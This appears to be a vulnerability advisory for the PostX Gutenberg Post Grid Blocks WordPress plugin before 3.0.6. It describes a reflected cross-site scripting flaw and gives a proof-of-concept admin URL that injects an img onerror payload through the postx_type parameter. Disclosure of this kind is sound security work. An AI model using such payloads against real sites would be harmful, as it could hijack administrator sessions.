PostX - Gutenberg Post Grid Blocks < 3.0.6 - Reflected Cross-Site Scripting

2023-08-0200:00:00

Bob Matyas

postx gutenberg post grid blocks

reflected cross-site scripting

url manipulation

admin access

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open the URL below (the post value is the ID of a post/page created with the Site Builder of the plugin)

https://example.com/wp-admin/post.php?post=2358&action=edit&postx_type="><img+src%3Dx+onerror%3Dalert(/XSS/)>

0.0005 Low

EPSS

Percentile

17.1%

JSON

Related for WPEX-ID:C43B669F-0377-4402-833C-817B75001888